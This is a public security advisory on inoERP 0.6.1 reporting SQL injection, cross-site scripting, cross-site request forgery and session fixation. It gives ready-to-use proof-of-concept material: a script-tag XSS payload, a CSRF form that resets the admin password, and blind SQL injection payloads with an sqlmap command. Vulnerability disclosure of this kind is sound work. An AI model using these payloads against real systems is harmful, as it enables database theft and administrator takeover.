inoERP- Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Versions
=================
inoERP 0.6.1
Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Session Fixation
Technical Risk: critical
Likelihood of Exploitation: medium
Vendor: inoERP
Vendor URL: http://inoideas.org//https://github.com/inoerp/inoERP
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-01-25.txt
Advisory Status: Public
OVE-ID: OVE-20170126-0002
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Impact
======
There are multiple SQL Injection vulnerabilities, exploitable without authentication.
An attacker could use the SQL Injection to access the database in an unsafe way.
This means there is a high impact to all applications.
The inoERP software also lacks in input validation resulting in different reflected/stored XSS vulnerabilities.
Issue Description
=================
The following findings are only examples, there are quite more. The whole application should be reviewed.
All items tested using FF52.
1.) Cross Site Scripting:
Stored:
Create a new Question in the -->Forum --> Ask a question
Vulnerable fields : Title, Content
Used Payload: Test<script>alert("xss")</script>
Response:
[...]
<title>Test<script>alert("xss")</script> - inoERP!</title>
[...]
The latest questions are included in the start page which means the entered payload gets executed directly in the start page.
Reflected:

2.) No protection against Cross Site Request Forgery Attacks:
PoC: Changing the admin user credentials.
<html>
<body>
<form action="http://<IP>/inoerp/form.php?class_name=user" method="POST">
<input type="hidden" name="headerData[0][name]" value="user_id[]" />
<input type="hidden" name="headerData[0][value]" value="1" />
<input type="hidden" name="headerData[1][name]" value="username[]" />
<input type="hidden" name="headerData[1][value]" value="inoerp" />
<input type="hidden" name="headerData[2][name]" value="enteredPassword[]" />
<input type="hidden" name="headerData[2][value]" value="test" />
<input type="hidden" name="headerData[3][name]" value="enteredRePassword[]" />
<input type="hidden" name="headerData[3][value]" value="test" />
<input type="hidden" name="headerData[4][name]" value="first_name[]" />
<input type="hidden" name="headerData[4][value]" value="inoerp" />
<input type="hidden" name="headerData[5][name]" value="last_name[]" />
<input type="hidden" name="headerData[5][value]" value="inoerp" />
<input type="hidden" name="headerData[6][name]" value="email[]" />
<input type="hidden" name="headerData[6][value]" value="inoerp@no-site.com" />
<input type="hidden" name="headerData[7][name]" value="phone[]" />
[..snipped...]
If a privileged user activates the request, the admin user id=1 is set to "test".
3.) SQL Injection:
Auth required:No
#####
http://192.168.241.143/inoerp/form.php?
Parameter: module_code (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
Payload: module_code=test' RLIKE (SELECT (CASE WHEN (2838=2838) THEN
0x74657374 ELSE 0x28 END))-- qkmO

GROUP BY clause (FLOOR)
Payload: module_code=test' AND (SELECT 8706 FROM(SELECT
COUNT(*),CONCAT(0x716b7a6271,(SELECT

Exploitable using e.g. SQLMAP
Blind SQL Injection:
sqlmap -u
"http://192.168.241.143/inoerp/content.php?content_type%5b%5d=test&search_text=3&search_document_list%5b%5d=all"
-p "content_type%5b%5d" --dbms="MySQL"
Parameter: content_type[] (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: content_type[]=-8366' OR 7798=7798 AND
'eanR'='eanR&search_text=3&search_document_list[]=all

Title: MySQL >= 5.0.12 OR time-based blind
Payload: content_type[]=test' OR SLEEP(5) AND
'exIO'='exIO&search_text=3&search_document_list[]=all
#####
4.) Session Fixation:
After a successful login the SessionID PHPSESSID remains the same:
Before Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2
After Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2
Temporary Workaround and Fix
============================
FOXMOLE advises to restrict the access to all vulnerable inoERP systems until all vulnerabilities are fixed.
